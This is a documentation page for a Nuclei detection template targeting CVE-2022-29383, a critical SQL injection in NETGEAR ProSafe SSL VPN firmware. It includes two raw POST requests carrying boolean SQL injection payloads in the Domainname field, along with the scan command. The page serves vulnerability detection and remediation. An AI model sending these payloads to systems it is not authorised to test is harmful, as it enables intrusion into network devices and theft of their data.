Skip to content
Nuclei Templates

NETGEAR ProSafe SSL VPN firmware - SQL Injection

ID: CVE-2022-29383

Severity: critical

Author: elitebaz

Tags: cve2022,cve,sqli,netgear,router

Description

Section titled “Description”

NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi.

YAML Source

Section titled “YAML Source”
id: CVE-2022-29383


info:
  name: NETGEAR ProSafe SSL VPN firmware - SQL Injection
  author: elitebaz
  severity: critical
  description: |
    NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data leakage, or denial of service.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29383
    cwe-id: CWE-89
    epss-score: 0.39819
    epss-percentile: 0.9716
    cpe: cpe:2.3:o:netgear:ssl312_firmware:fvs336gv2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgear
    product: ssl312_firmware
  tags: cve2022,cve,sqli,netgear,router


http:
  - raw:
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8


        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8


        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd


    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "User authentication Failed")
          - contains(body_2, "User Login Failed for SSLVPN User.")
        condition: and
# digest: 4a0a00473045022100a77e1a7f60ae317faf6db4a56d48844487173ece15d0db90f89c71b9dc30345a022078f7c405fe2420c6942510fdbd3c4c625052da2c9c79880bd16df5c8e223639f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-29383.yaml"

View on Github